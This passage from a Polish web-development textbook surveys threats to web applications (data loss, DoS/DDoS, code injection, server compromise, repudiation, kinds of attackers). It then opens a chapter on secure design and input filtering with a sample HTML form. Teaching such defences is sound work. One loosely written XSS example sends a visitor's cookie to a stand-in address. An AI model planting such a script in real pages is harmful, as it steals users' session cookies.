wszystkich danych. Pozostanie wówczas mieć nadzieję, że wcześniej utworzono odpowiednie
kopie bezpieczeństwa i opracowano plany przywrócenia systemu po awarii.

Znacznie poważniejsze następstwa mogą wyniknąć z utraty danych niż z ich ujawnienia. Po
spędzeniu długich miesięcy na tworzeniu witryny internetowej, a następnie gromadzeniu informacji
o klientach i złożonych przez nich zamówieniach utrata tych danych może być bardzo kosztowna —
zarówno w wymiarze finansowym, jak i ze względu na zmarnowany czas i nadszarpniętą reputację.
Jeśli nie istnieją żadne kopie utraconych danych, konieczne będzie utworzenie nowej witryny od
podstaw i rozpoczęcie działalności właściwie od zera. Na pewno zniechęciłoby to również klientów
oraz zachęciło użytkowników twierdzących, że zamówili towary, których potem nie otrzymali.

Nie można wykluczyć, że crackerzy włamią się do systemu i zniszczą przechowywane dane. Być
może jakiś beztroski administrator czy programista przypadkiem usunie jakieś dane. Jest niemal
pewne, że pewnego dnia zepsuje się dysk twardy — talerze dysków obracają się przecież tysiące
razy na minutę i od czasu do czasu ulegają awariom. Parafrazując prawo Murphy’ego, uszkodzeniu
ulegnie dysk zawierający najważniejsze dane, których kopia zapasowa została wykonana dawno
temu.

Ograniczanie ryzyka
W celu zapobieżenia tego typu sytuacjom można zastosować szereg środków ostrożności. Przede
wszystkim należy zabezpieczyć serwery przed atakiem ze strony crackerów. Liczba pracowników
mających dostęp do systemu powinna być jak najmniejsza, a wszyscy powinni również posiadać
fachową wiedzę i doświadczenie. Ważne, by wykorzystywane dyski charakteryzowały się wysoką
jakością; zalecane jest też stosowanie macierzy RAID (ang. Redundant Array of Inexpensive Disks),
dzięki której kilka dysków funkcjonuje jak jeden szybszy i bardziej niezawodny nośnik danych.

Tak naprawdę istnieje tylko jeden niezawodny sposób ochrony przed utratą danych: tworzenie
kopii zapasowych. Nie jest to żadne wielkie przedsięwzięcie, wręcz odwrotnie — czynność nużąca,
nudna i, pozostaje mieć nadzieję, bezużyteczna, ale o ogromnym znaczeniu. Należy dbać o regularne
wykonywanie kopii zapasowych, wcześniej jednak konieczne jest przetestowanie używanych
do tego celu narzędzi, by upewnić się, że zapasowe dane będzie można łatwo odzyskać. Zapasowe
kopie danych nie powinny być przechowywane w komputerach. Chociaż prawdopodobieństwo
tego, że siedziba firmy doszczętnie spłonie czy też dosięgnie jej inny żywioł, jest bardzo małe,
to przechowywanie kopii zapasowych w innym budynku jest tanim, ale niezwykle skutecznym
środkiem zabezpieczającym.

Blokada usługi
Jednym z zagrożeń, przed którym najtrudniej ustrzec witrynę internetową, jest blokada usługi,
zwana po angielsku Denial of Service (DoS). Do blokady tej dochodzi wtedy, gdy czyjeś działania
powodują powstanie utrudnień lub całkowicie uniemożliwiają uzyskanie dostępu do usługi — albo
też opóźniają dostęp do usług, w których czas ma podstawowe znaczenie.

Serwery niedziałające przez godzinę, lub nawet dłużej, mogą spowodować szkody, których skutki
będą trudne do usunięcia. Jeśli weźmiemy pod uwagę wszechobecność niektórych serwerów
w internecie oraz założenie, że będą one zawsze dostępne, to okaże się, że ich wyłączenie może
być poważnym problemem.
334 Część III  E-commerce i bezpieczeństwo

Warto zauważyć, że ataki DoS, podobnie jak inne zagrożenia, mogą być spowodowane nie tylko
wrogimi działaniami. Może je też wywołać błędnie skonfigurowana sieć lub gwałtowny napływ
użytkowników (na przykład po publikacji informacji o witrynie na jakimś popularnym blogu
technologicznym).

Na początku 2013 roku została przeprowadzona seria ataków przeprowadzonych przy użyciu tak
zwanej blokady rozproszonej (ang. Distributed Denial of Service — DDoS), skierowanych
przeciwko amerykańskim instytucjom finansowym, takim jak American Express czy też Wells
Fargo. Witryny wymienionych firm dysponują łączami o ogromnej przepustowości, a nad ich
zabezpieczeniem pracują zespoły składające się z doskonałych specjalistów, jednak mimo to ich
systemy mogą zostać zablokowane na długie godziny w wyniku DoS. Trudno wskazać konkretne
korzyści, jakie potencjalny cracker mógłby osiągnąć z powodu zablokowania popularnego serwi-
su internetowego, niemniej właściciel zablokowanej witryny traci zarówno pieniądze, czas, jak
i dobrą opinię.

Niektóre witryny są szczególnie obciążone w określonych porach. Witryny umożliwiające rezer-


wowanie biletów przeżywają istne oblężenie tuż przed większymi zawodami sportowymi. Jednym
ze sposobów, w jaki crackerzy próbowali w roku 2004 wykorzystać możliwość przeprowadzenia
ataku DDoS, było wymuszenie pieniędzy od właścicieli tego rodzaju witryn pod groźbą przepro-
wadzenia takiego ataku właśnie w okresie największego natężenia wizyt klientów.

Jednym z powodów, dla których tak trudno ustrzec się przed atakami tego typu, jest fakt, że mogą
one być przeprowadzone na wiele różnych sposobów. Polegają np. na zainstalowaniu na atako-
wanym serwerze WWW programu, którego wykonanie będzie czasochłonne dla procesora, na
wykorzystaniu tzw. odwrotnego spammingu (ang. reverse spamming) czy użyciu zautomatyzo-
wanych programów. Odwrotny spamming polega na wysyłaniu ogromnych ilości listów elektro-
nicznych, w których jako nadawca zostaje wymieniony właśnie serwis mający być obiektem
ataku. Witryna zostanie wówczas zalana odpowiedziami niezadowolonych internautów, do których
te listy trafiły.

Istnieją programy, których zadaniem jest wykonywanie zautomatyzowanych ataków DDoS


na wskazaną witrynę. Nie trzeba zbyt wielkich umiejętności, by znaleźć słabe punkty większej
liczby maszyn pracujących w internecie, a następnie zainstalować na nich odpowiedni program.
Cały proces będzie przebiegał automatycznie, wystarczy więc, że napastnik zainstaluje taki program
tylko na jednym komputerze, co zwykle nie trwa nawet pięciu sekund. Po dokooptowaniu odpo-
wiedniej liczby komputerów wystarczy wydać im polecenie, by zbombardowały wybrany serwis
internetowy gradem żądań dostępu.

Ograniczanie ryzyka
Przeciwdziałanie atakom DoS jest niezwykle trudne. Można w tym celu sprawdzić, jakie porty
są najczęściej wykorzystywane w trakcie tych ataków, a następnie je zablokować. Router może
zawierać mechanizmy, które ograniczą liczbę żądań wykorzystujących określony protokół, np.
ICMP, do procentowo określonej wielkości. Generalnie znalezienie komputerów, z których atak
jest przeprowadzany, jest znacznie łatwiejsze niż ochrona własnych maszyn przed blokadą. Gdyby
każdy administrator poświęcał odpowiednio wiele uwagi monitorowaniu zarządzanej przez siebie
sieci, blokady DDoS nie sprawiłyby aż tylu problemów.

Ponieważ istnieje mnóstwo metod przeprowadzenia ataku, najlepszym rozwiązaniem wydaje się
ciągłe monitorowanie ruchu w sieci, a w razie zauważenia jakichś nieprawidłowości natychmiastowe
podjęcie odpowiednich działań.

Ogólnie rzecz biorąc, dobrze jest mieć plan określający, co zrobić w przypadku ogromnego wzrostu
ruchu sieciowego, niezależnie od jego przyczyny.
Rozdział 14.  Zagrożenia bezpieczeństwa aplikacji internetowych 335

Jednym z możliwych rozwiązań jego blokowanie tego ruchu na serwerze odpowiadającym za


równoważenie obciążenia. Oczywiście takie rozwiązanie ma szansę zadziałać wyłącznie w sytuacji,
gdy sam serwer przetrwa nagły wzrost obciążenia oraz gdy ruch będzie generowany przez zbiór
komputerów o znanych adresach IP (jak to się dzieje w przypadku niektórych botnetów).

Innym rozwiązaniem jest stworzenie mechanizmu, który pozwoli na przekształcenie całej witryny
lub jej części na statyczne strony i skopiowanie jej do sieci dystrybucji treści (CDN — Content
Distribution Network). Takie rozwiązanie doskonale sprawdza się wtedy, kiedy trzeba sobie radzić
ze wzrostem ruchu sieciowego, który nie jest wynikiem ataku.

Jeszcze innym wyjściem jest zaimplementowanie mechanizmu pozwalającego na wyłączanie


określonych możliwości. Można to zrobić, aby wyłączyć możliwości mniej ważne lub bardziej
kosztowne pod względem zużywanych zasobów systemowych i w ten sposób poradzić sobie ze
zwiększonym ruchem.

Niektórzy dostawcy usług hostingu w chmurze, na przykład Amazon Web Services (AWS),
udostępniają mechanizm automatycznego skalowania, który umożliwia dodawanie dodatkowych
serwerów w celu obsługi ruchu sieciowego. Także to rozwiązanie dobrze się sprawdza w sytuacjach,
gdy zwiększony ruch nie jest następstwem ataku. Jednak w razie ataku DDoS nie zaleca się stoso-
wania tej metody, głównie z powodu związanych z tym wysokich kosztów.

Ze względu na ogromną liczbę możliwych sposobów przeprowadzania ataków DoS jedyną efek-
tywną metodą przeciwdziałania im jest monitorowanie normalnego ruchu sieciowego i przygotowa-
nie się na podjęcie odpowiednich działań w razie wystąpienia sytuacji odbiegającej od normy.
Jednak w przypadku ataku DDoS nawet takie rozwiązanie może się okazać niewystarczające.

Wstrzykiwanie złośliwego kodu


Jednym z ataków, którym najczęściej padają aplikacje internetowe, jest tak zwane wstrzykiwanie
kodu. Najbardziej znaną odmianą tego ataku jest tak zwany Cross Site Scripting (w skrócie XSS,
aby odróżnić go od skrótu CSS oznaczającego kaskadowe arkusze Stylów). W przypadku tego typu
ataków szczególnie niebezpieczne jest to, że ich skutkiem nie jest natychmiastowa utrata części
danych, lecz wykonanie jakiegoś fragmentu kodu źródłowego, prowadzące do wypływu części
informacji albo przekierowania użytkowników pod inny adres, najczęściej bez ich wiedzy.

Atak Cross Site Scripting działa według następującej zasady:


1. Złośliwy użytkownik wpisuje tekst, który oprócz zwykłej informacji (na przykład treści
wpisu na forum internetowym) zawiera także fragment skryptu wykonywalnego na kliencie,
na przykład:
<script="text/javascript">
this.document = "przekierowanie.gdzie.indziej?cookie=" + this.cookie;
</script>

2. Złośliwy użytkownik zatwierdza formularz systemowy i czeka.


3. Następny użytkownik systemu, który przegląda stronę z tekstem wpisanym przez złośliwego
użytkownika, bezwiednie wykona skrypt wpisany przez tego ostatniego. W przykładzie
przedstawionym przed chwilą nieświadomy użytkownik zostanie przekierowany pod inny
adres wraz z plikiem cookie z witryny początkowej.

Przedstawiony przykład był trywialny, lecz możliwości ataków typu Cross Site Scripting są niezwy-
kle szerokie.
336 Część III  E-commerce i bezpieczeństwo

Istnieją także inne formy ataków polegających na wstrzykiwania kodu. Na przykład w poprzed-
niej części książki wspomniano o atakach polegających na wstrzykiwaniu kodu SQL.

Jest również możliwość wykorzystania słabych punktów naszego kodu, aplikacji zainstalowanych
na komputerze czy też usterek w konfiguracji w celu przesłania na serwer i uruchomienia dowolnego
kodu, tak by doprowadzić do złamania jego zabezpieczeń. To zagadnienie zostanie opisane w na-
stępnym punkcie rozdziału.

Ograniczanie ryzyka
Unikanie różnorakich form wstrzykiwania kodu i poleceń wymaga szczegółowej wiedzy i zwracania
uwagi na detale. Niektóre techniki i narzędzia, które można w tym celu zastosować, zostaną opisane
w rozdziale 15., „Tworzenie bezpiecznych aplikacji internetowych”.

Złamanie zabezpieczeń dostępu do serwera


Efekty złamania zabezpieczeń dostępu do serwera mogą być podobne jak następstwa większości
z wymienionych wcześniej zagrożeń, jednak trzeba zdawać sobie sprawę, że czasami celem cracke-
rów jest uzyskanie dostępu do systemu — najczęściej w roli superużytkownika (jako administrator
w systemach Windows lub root w systemach z rodziny Unix). Po uzyskaniu takiego dostępu ma się
praktycznie nieograniczone możliwości korzystania z komputera i wykonywania dowolnych pro-
gramów, wyłączenia komputera czy instalowania oprogramowania.

Na tego typu ataki trzeba być szczególnie wyczulonym, ponieważ pierwszą czynnością, jaką wy-
konują napastnicy po włamaniu się do serwera, jest zatarcie śladów i ukrycie wszelkich oznak
ich działania.

Ograniczanie ryzyka
Zabezpieczanie przed złamaniem zabezpieczeń dostępu do serwera wymaga zastosowania rozwią-
zań nazywanych obroną w głąb (ang. defence-in-depth), które zostaną dokładnie opisane w roz-
dziale 15. Najkrócej rzecz ujmując, oznacza to wyobrażenie sobie wszystkiego, co może pójść źle,
i to w każdym aspekcie działania systemu, a następnie przygotowanie odpowiedniej warstwy zabez-
pieczającej wszystkie wykryte słabe punkty.

Jedną ze strategii ograniczania ryzyka, o której warto tu wspomnieć, jest wykorzystanie systemu
wykrywania włamań (ang: Intrusion Detection System, w skrócie IDS), takiego jak Snort. Systemy
tego typu służą do monitorowania ruchu sieciowego i ostrzegania przed takim, który może być
zagrożony atakiem.

Zaprzeczenie korzystania z usługi


Ostatnim zagrożeniem, jakie zostanie omówione, jest sytuacja, w której osoba uczestnicząca
w transakcji zaprzecza, że wzięła w niej udział. Przykładem takiego działania może być postępo-
wanie klienta, który zamawia towar w sklepie internetowym, jednak po obciążeniu jego karty kre-
dytowej odpowiednią sumą zaprzecza, jakoby składał zamówienie. Może też dojść do sytuacji,
w której dana osoba wysyła zamówienie listem elektronicznym, po czym stwierdza, że to ktoś
nieuprawniony przesłał list, korzystając z jej skrzynki pocztowej.

Najlepszym rozwiązaniem byłoby, gdyby obie strony transakcji nie miały możliwości zaprze-
czenia, że wzięły w niej udział lub też mogły udowodnić swoje racje, na przykład w sądzie.
W praktyce jednak rzadko istnieje taka możliwość.
Rozdział 14.  Zagrożenia bezpieczeństwa aplikacji internetowych 337

Ograniczanie ryzyka
Uwierzytelnianie daje do pewnego stopnia pewność co do tożsamości osoby biorącej udział
w transakcji. Jeszcze większe zaufanie można mieć w przypadku korzystania z cyfrowych certyfi-
katów autentyczności. System uwierzytelniania certyfikatów ma pewne luki, niemniej jednak
jest on obecnie standardem.

Istotną kwestią jest również zablokowanie możliwości dokonywania jakichkolwiek zmian w wia-
domościach wymienianych przez obie strony. Nic nie da posiłkowanie się treścią wiadomości
wysłanej przez jakąś firmę, jeśli nie można udowodnić, że jest to wiadomość oryginalna, a jej treść
nie została zmieniona. Również w tym przypadku wykorzystanie podpisu cyfrowego czy zaszy-
frowanie wiadomości znacznie utrudnia dokonanie w niej jakichś zmian.

W przypadku transakcji dokonywanych między podmiotami współpracującymi ze sobą przez


dłuższy czas wykorzystanie podpisów cyfrowych oraz technik szyfrowania znacznie zmniejsza
ryzyko wyparcia się przez którąś ze stron udziału w transakcji. Jednak gdy dochodzi do transakcji
jednorazowej, jak choćby dokonania zakupu w sklepie internetowym przez klienta z zagranicy
używającego karty kredytowej, środki te wydają się niezbyt skuteczne.

Firmy prowadzące działalność w internecie zapewne bez oporów wydadzą kilkaset dolarów na
uzyskanie certyfikatu autentyczności od odpowiedniej organizacji, na przykład Symantec
(http://www.symantec.com/), Thawte (http://www.thawte.com) czy też Comodo (http://www.comodo.com/),
aby przekonać klientów o swej rzetelności. Czy ta sama firma będzie skłonna odprawić z kwitkiem
klienta, który takiego certyfikatu nie posiada? W przypadku transakcji o niewielkiej wartości
sklepy internetowe pogodzą się raczej z ryzykiem oszustwa lub zaprzeczania udziału w transakcji,
niż odmówią obsłużenia klienta.

Identyfikacja użytkowników
Wszystkich użytkowników naruszających bezpieczeństwo systemu bez namysłu traktuje się jak
użytkowników złych lub złośliwych, których celem jest wyłącznie wyrządzenie komuś szkody.
Trzeba jednak pamiętać również o innych użytkownikach, którzy mogli wykonywać dane działania
nieświadomie i dlatego zaliczanie ich od razu do grona szkodników może być nieuzasadnione.

Napastnicy i crackerzy
Najbardziej znaną grupą użytkowników są tak zwani crackerzy czy też napastnicy. Nie należy ich
mylić z hakerami, ponieważ prawdziwi hakerzy są zwykle programistami o krystalicznej uczci-
wości i z przyjaznymi intencjami, dlatego wrzucanie ich do jednego worka z crackerami może być
dla nich krzywdzące. Dążeniem crackerów jest — abstrahując od kierujących nimi motywów —
znalezienie luk w zabezpieczeniach systemu i wykorzystanie ich do własnych celów. Motywami
crackerów wykradających dane finansowe i numery kart kredytowych może być pazerność;
crackerzy opłacani przez nieuczciwe firmy mogą dla nich wykradać informacje z systemów
firm konkurencyjnych; jeszcze inni są po prostu utalentowanymi ludźmi lubiącymi ryzyko, dlatego
szukają coraz to nowych systemów, do których można by się włamać. Crackerzy są poważnym
zagrożeniem dla każdego systemu dostępnego w sieci, jednak nie znaczy to, że należy skupiać
na nich całą swoją uwagę.
338 Część III  E-commerce i bezpieczeństwo

Nieświadomi użytkownicy zainfekowanych komputerów


Oprócz crackerów trzeba mieć świadomość, że istnieje również wiele innych osób, na które
należy uważać. Ze względu na liczne luki w zabezpieczeniach współczesnego oprogramowania
stosunkowo wysoki odsetek komputerów jest zainfekowany programami, które wykonują różnego
rodzaju podejrzane zadania. Tego typu złośliwe oprogramowanie może znajdować się nawet na
komputerach pracowników korzystających z wewnętrznej sieci firmowej i oprogramowanie to może
przypuszczać ataki na firmowe serwery bez wiedzy użytkowników zainfekowanych komputerów.

Rozczarowani pracownicy
Kolejną grupą osób, o której nie należy zapominać, są pracownicy. Z takiego albo innego powodu
niektórzy z nich mogą dążyć do wyrządzenia szkody swojej firmie. Niezależnie od motywacji,
pracownicy tacy mogą przeobrazić się w domorosłych crackerów albo zacząć korzystać z narzędzi
pochodzących z zewnątrz, aby zaatakować serwery z wewnętrznej sieci firmy. Jeżeli systemy
zostaną szczelnie zabezpieczone przed atakami z zewnątrz, natomiast zabezpieczenia wewnętrzne
praktycznie nie będą istnieć, będzie to oznaczać, że systemy nadal są niezabezpieczone. Jest to
jeden z najważniejszych argumentów za tworzeniem tak zwanych stref zdemilitaryzowanych
(ang. demilitarized zones — DMZ), o których więcej powiemy w następnym rozdziale.

Złodzieje sprzętu komputerowego


Grupą osób, o której rzadko się myśli w kategoriach ludzi zagrażających bezpieczeństwu systemów
informatycznych, są złodzieje sprzętu komputerowego. Złodziej taki może dostać się do serwe-
rowni i wymontować wybrane urządzenia, po czym wynieść je poza budynek. Bez trudu można
się przekonać, jak łatwo jest wejść do wielu pomieszczeń biurowych i pokręcić się po nich, nie
zwracając niczyjej uwagi. Po wejściu do odpowiedniego pomieszczenia i w odpowiednim czasie
można znaleźć się sam na sam z błyszczącym, nowiutkim serwerem zawierającym dyski pełne
poufnych danych.

My sami
Jakkolwiek zaskakująco może to zabrzmieć, jednym z najmniej pewnych punktów w zabezpie-
czeniach systemów są sami programiści i napisany przez nich kod. Jeżeli programista nie podejdzie
z należytą uwagą do bezpieczeństwa, napisze dziurawy kod i nie przyłoży się do jego odpowiedniego
przetestowania i zweryfikowania jego bezpieczeństwa, automatycznie udostępni złośliwym użytkow-
nikom możliwość złamania zabezpieczeń systemu.
Każdy, kto bierze się za pisanie kodu źródłowego, musi czynić to zgodnie ze sztuką. Internet jest
szczególnie bezlitosny dla tych, którzy są beztroscy i leniwi. Najtrudniejszą rzeczą jest jednak
w tym przypadku przekonanie o tym fakcie własnego szefa albo osoby odpowiedzialnej za budżet
projektu. Jednak kilka minut poglądowej prezentacji negatywnych następstw będących wynikiem
zaniedbań w projektowaniu zabezpieczeń systemu powinno wystarczyć, by przekonać decydentów,
że w świecie, w którym dane są najważniejsze, warto czasem ponieść nieco większe koszty.
Rozdział 14.  Zagrożenia bezpieczeństwa aplikacji internetowych 339

W następnym rozdziale
Doskonałym źródłem informacji dotyczących zagrożeń związanych z aplikacjami internetowymi jest
witryna projektu Open Web Application Security Project (OWASP). Każdego roku publikowany
jest w niej raport przedstawiający 10 najpoważniejszych zagrożeń dla bezpieczeństwa aplikacji
internetowych; można w niej także znaleźć listę doskonałych e-booków oraz innych zasobów
poświęconych zagadnieniom bezpieczeństwa w internecie. Witryna ta jest dostępna pod adresem
http://www.owasp.org/.

W rozdziale 15. „Tworzenie bezpiecznych aplikacji internetowych”, przedstawione zostaną sposoby


zabezpieczania aplikacji przed zagrożeniami opisanymi w niniejszym rozdziale.
340 Część III  E-commerce i bezpieczeństwo
Rozdział 15.
Tworzenie bezpiecznych
aplikacji internetowych
W tym rozdziale będziemy kontynuować rozważania na temat bezpieczeństwa aplikacji, tym
razem jednak w szerszym kontekście zapewnienia bezpieczeństwa całej aplikacji internetowej.
Tak naprawdę przed nieprawidłowym użyciem (przypadkowym lub celowym) trzeba zabezpie-
czyć każdy element aplikacji dostępnej w internecie. W tym celu wypracowuje się strategie tworze-
nia aplikacji, które pomogą zapewnić jej bezpieczeństwo.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 strategie zapewniania bezpieczeństwa,
 zabezpieczanie kodu źródłowego,
 zabezpieczanie serwera WWW oraz PHP,
 bezpieczeństwo serwera bazodanowego,
 ochrona sieci,
 planowanie działań na wypadek awarii.

Strategie zapewniania bezpieczeństwa


Jedna z najważniejszych cech internetu, jaką jest jego otwartość i dostępność wszystkich kom-
puterów między sobą, jest jednocześnie źródłem największych problemów, z którymi musi się
zmierzyć każdy twórca aplikacji internetowych. Ze względu na tak wielką liczbę istniejących
komputerów pewne jest, że użytkownicy co najmniej niektórych z nich będą mieli złe zamiary.
Świadomość czyhających niebezpieczeństw może odstraszać przed udostępnianiem w globalnej
sieci aplikacji internetowej przetwarzającej dane wrażliwe, jak na przykład numery kart kredy-
towych, informacje o kontach bankowych czy informacje zdrowotne. Jednak z drugiej strony trzeba
zapewnić sobie odpowiednie warunki prowadzenia działalności gospodarczej, dlatego autorzy
niniejszej książki nie mogą ograniczać się tylko do tematu zabezpieczania komercyjnych elemen-
tów aplikacji WWW, lecz poruszyć także temat planowania strategii bezpieczeństwa i postępo-
wania w sytuacjach kryzysowych. Kluczowym zagadnieniem jest znalezienie odpowiedniej równo-
wagi między wymogami bezpieczeństwa oraz wyzwaniami rynkowymi i prawidłowym działaniem
aplikacji.
342 Część III  E-commerce i bezpieczeństwo

Planowanie z wyprzedzeniem
Bezpieczeństwo nie jest dodatkową funkcją. Gdy tworzy się aplikację internetową i podejmuje
decyzję dotyczącą zbioru zawartych w niej funkcji, bezpieczeństwo nie jest czymś, co czasem
dodaje się do tego zbioru i przypisuje konkretnemu programiście do zaimplementowania w ciągu
paru dni. Bezpieczeństwo musi zawsze być w centrum procesu projektowania aplikacji, a jego
zapewnienie jest zadaniem, które nigdy się nie kończy — również po wdrożeniu aplikacji i spadku
intensywności prac programistycznych, a nawet po ich całkowitym zakończeniu.

Od samego początku projektowania aplikacji trzeba wymyślać i identyfikować wszelkie sposoby,


jakich mogą użyć złośliwi użytkownicy, by złamać aplikację. Dzięki temu łatwiej jest zaprojek-
tować kod w taki sposób, by obniżyć prawdopodobieństwo złamania zabezpieczeń. Nie trzeba
będzie również przemodelowywać całej aplikacji w późniejszym czasie, co byłoby nieuniknione,
gdyby zagadnienie bezpieczeństwa zeszło w pierwszych etapach prac na dalszy plan (i w konse-
kwencji większość potencjalnych problemów zostałaby zlekceważona).

Równowaga między bezpieczeństwem i użytecznością


W trakcie projektowania systemów jednym z najbardziej istotnych zagadnień są hasła użyt-
kowników. Użytkownicy często wybierają hasła, których złamanie za pomocą odpowiedniego
oprogramowania nie jest szczególnie trudne — zwłaszcza gdy są to słowa dostępne w słowni-
kach. Potrzebny jest więc mechanizm, który zmniejszy ryzyko odgadnięcia haseł użytkowników
i zalogowania się do systemu przez osoby do tego nieuprawnione.

Jednym z możliwych rozwiązań jest nałożenie na użytkowników wymogu, by każdy z nich prze-
chodził przez cztery etapy logowania i na każdym podawał inne hasło. Można także zobowiązać
użytkowników do zmiany wszystkich czterech haseł co najmniej raz w miesiącu i odrzucać nowe
hasła, jeżeli były już używane w przeszłości. Można by przy tym również wymagać, by hasła były
bardzo długie i zawierały znaki z różnych klas (wielki i małe litery, znaki przestankowe, cyfry itd).
W ten sposób system stałby się o wiele bezpieczniejszy, a potencjalni crackerzy musieliby poświęcić
bardzo dużo czasu, aby złamać mechanizm logowania i dostać się do systemu.

Niestety, tak skonstruowany system stałby się aż tak bezpieczny, że praktycznie nikt nie chciałby
go używać. Użytkownicy prędzej czy później doszliby do wniosku, że stopień skomplikowania
systemu jest zbyt duży. W ten sposób dochodzimy do reguły, według której o bezpieczeństwo
trzeba dbać tak jak o użyteczność. Prosty w użyciu system z tylko symbolicznymi zabezpiecze-
niami może zdobyć sobie sympatię użytkowników, lecz z drugiej strony będzie również zdecy-
dowanie bardziej narażony na problemy z bezpieczeństwem oraz wynikające z nich przymusowe
przerwy w działaniu. I odwrotnie: system z najbardziej wymyślnymi zabezpieczeniami, które będą
niezrozumiałe dla zwykłych śmiertelników, nie zyska sobie zbyt wielu użytkowników, co także
negatywnie odbije się na prowadzonej działalności biznesowej.

Projektanci aplikacji internetowych muszą szukać sposobów na zapewnienie odpowiedniego


poziomu bezpieczeństwa, a jednocześnie zagwarantować oczekiwany poziom użyteczności.
Podobnie jak ma to miejsce w przypadku innych zagadnień mających związek z interfejsem
użytkownika, również tu nie można wskazać uniwersalnych i prostych reguł postępowania. Dlatego
w dużej mierze polegać trzeba na osobistym wyczuciu, wynikach testów użyteczności i badaniach
grup fokusowych, na podstawie których można rozpoznać sposób reakcji użytkowników na pro-
totypy i rozwiązania projektowe.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 343

Monitorowanie bezpieczeństwa
Nawet po zakończeniu implementacji aplikacji i udostępnieniu jej użytkownikom na serwerach
produkcyjnych praca projektanta się nie kończy. Częścią procesu zapewnienia bezpieczeństwa
jest monitorowanie pracy systemu, sprawdzanie zawartości dzienników zdarzeń i innych plików
oraz analiza wydajności systemu oraz sposobów pracy z nim. Jedynie na podstawie bieżącej
analizy pracy systemu (albo przez regularne uruchamianie programów wykonujących tego typu
czynności analityczne) można stwierdzić, czy zachodzą jakiekolwiek zagrożenia dla bezpieczeń-
stwa systemu, oraz identyfikować obszary, w których być może powinno się pomyśleć o zaimple-
mentowaniu bezpieczniejszych rozwiązań.

Bezpieczeństwo jest niestety nieustanną walką, której — przynajmniej w przenośni — nigdy nie
można wygrać. Ceną za bieżące prawidłowe działanie systemu jest konieczność jego ciągłego
monitorowania i natychmiastowego reagowania na wszelkie zidentyfikowane problemy.

Ogólne podejście do bezpieczeństwa


Aby uzyskać wymagany poziom bezpieczeństwa przy rozsądnym nakładzie pracy i czasu, opisane
zostaną dwie fazy podejścia do zapewnienia bezpieczeństwa. Pierwsza faza wiąże się z zagadnie-
niami poruszanymi dotychczas i obejmuje planowanie zabezpieczeń aplikacji i projektowanie jej
funkcji w taki sposób, który zagwarantuje jej bezpieczeństwo. Formalnie można by to nazwać fazą
od ogółu do szczegółu.

Druga faza podejścia do zagadnień bezpieczeństwa to faza od szczegółu do ogółu. To właśnie nią
zajmiemy się w tym rozdziale. W tej fazie bierze się pod uwagę wszystkie komponenty, z jakich
składa się aplikacja, takie jak serwer bazy danych, sam serwer czy sieć, w której serwer się znaj-
duje. Trzeba spróbować zapewnić bezpieczeństwo korzystania z poszczególnych komponentów,
jak również zagwarantować, że komponenty te zostaną zainstalowane i skonfigurowane w sposób
zgodny z wymaganiami bezpieczeństwa. Wiele produktów jest instalowanych domyślnie z ustawie-
niami konfiguracyjnymi, przy których bardzo łatwo się do nich włamać, dlatego koniecznie trzeba
się zapoznać ze wszystkimi znajdującymi się w nich lukami i sposobami ich eliminowania.

Zabezpieczanie kodu źródłowego


Próby zabezpieczania kodu źródłowego wymagają myślenia na wysokim poziomie szczegółowo-
ści, w tym zbadania poszczególnych komponentów systemu i określenia sposobów pozwalających
na poprawę ich bezpieczeństwa. To właśnie zagadnieniem zabezpieczania kodu źródłowego
zajmiemy się w tym podrozdziale. Wprawdzie nie można opisać wszystkich technik, jakich można
użyć w celu zabezpieczenia się przed wszystkimi potencjalnymi zagrożeniami (temu tematowi
poświęcono już wiele grubych tomów), można natomiast podać kilka ogólnych wskazówek, aby
nadać wykonywanym działaniom odpowiedni kierunek.

Filtrowanie danych pochodzących od użytkowników


Jedną z najważniejszych technik zabezpieczania aplikacji internetowych jest filtrowanie danych
pochodzących od użytkowników.

Twórcy aplikacji muszą filtrować wszystkie dane wejściowe pochodzące ze źródeł zewnętrznych.
Nie oznacza to wcale, że systemy należy projektować z myślą, iż wszyscy jego użytkownicy
344 Część III  E-commerce i bezpieczeństwo

będą mieli złe intencje. Wręcz odwrotnie: użytkowników powinno się zachęcać do korzystania
z aplikacji, trzeba jedynie jak najlepiej przygotować się na wszelkiego rodzaju ataki i błędne korzy-
stanie z systemu.

Jeżeli filtrowanie będzie wykonywane efektywnie, znacząco powinna zmniejszyć się liczba zagro-
żeń z zewnątrz, a możliwości pracy samego systemu powinny zdecydowanie wzrosnąć. Nawet
jeżeli można zaufać wszystkim użytkownikom systemu, to nigdy nie ma się pewności, że na ich
komputerach nie znajduje się oprogramowanie typu spyware lub podobne, które będzie samo-
dzielne wysyłać żądania na serwer lub zmieniać treść żądań wysyłanych przez użytkownika.
Zatem tak naprawdę nigdy nie można ufać użytkownikom.

Ze względu na to, jak ważnym elementem jest filtrowanie danych wejściowych pochodzących od
użytkowników, warto przyjrzeć się bliżej sposobom filtrowania.

Podwójne sprawdzanie oczekiwanych wartości


Czasami trzeba użytkownikowi zaprezentować zbiór wartości, spośród których powinno się
dokonać wyboru. Dotyczy to na przykład sposobu wysyłki towaru (pocztą, przesyłką ekspresową
czy kurierską), wyboru województwa i tak dalej. Wyobraźmy sobie, że w systemie znajduje się
prosty formularz, przedstawiony na listingu 15.1.

Listing 15.1. prosty_formularz.html — zwyczajny, prosty formularz HTML

<!DOCTYPE html>
<html>
<head>
<title>Kim jesteś?</title>
</head>
<body>
<h1>Kim jesteś ślicznotko?</h1>
<form action="formularz.php" method="POST">

<p>
<input type="radio" name="plec" id="plec_m" value="Mężczyzną"/>
<label for="plec_m">Mężczyzną</label><br />

<input type="radio" name="plec" id="plec_k" value="Kobietą"/>


<label for="plec_k">Kobietą</label><br />

<input type="radio" name="plec" id="plec_i" value="Inny"/>


<label for="plec_i">Nie twój interes</label><br />

</p>
<button type="submit" name="wyslij">Wyślij formularz</button>

</form>
</body>
</html>

Wygląd tego formularza pokazano na rysunku 15.1. W celu obsłużenia danych pochodzących
z formularza można założyć, że za każdym razem, gdy w skrypcie formularz.php odczytywana jest
wartość $_POST['plec'], powinien zostać zwrócony łańcuch znaków 'Mężczyzna', 'Kobieta' lub
'Nie twój interes'. Byłoby to jednak założenie bardzo ryzykowne.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 345

Rysunek 15.1.
Najprostszy formularz
z pytaniem o płeć

Jak wspomniano już wcześniej, działanie sieci WWW opiera się na protokole HTTP — prostym
protokole tekstowym. Przesłanie powyższego formularza spowoduje wysłanie do serwera komuni-
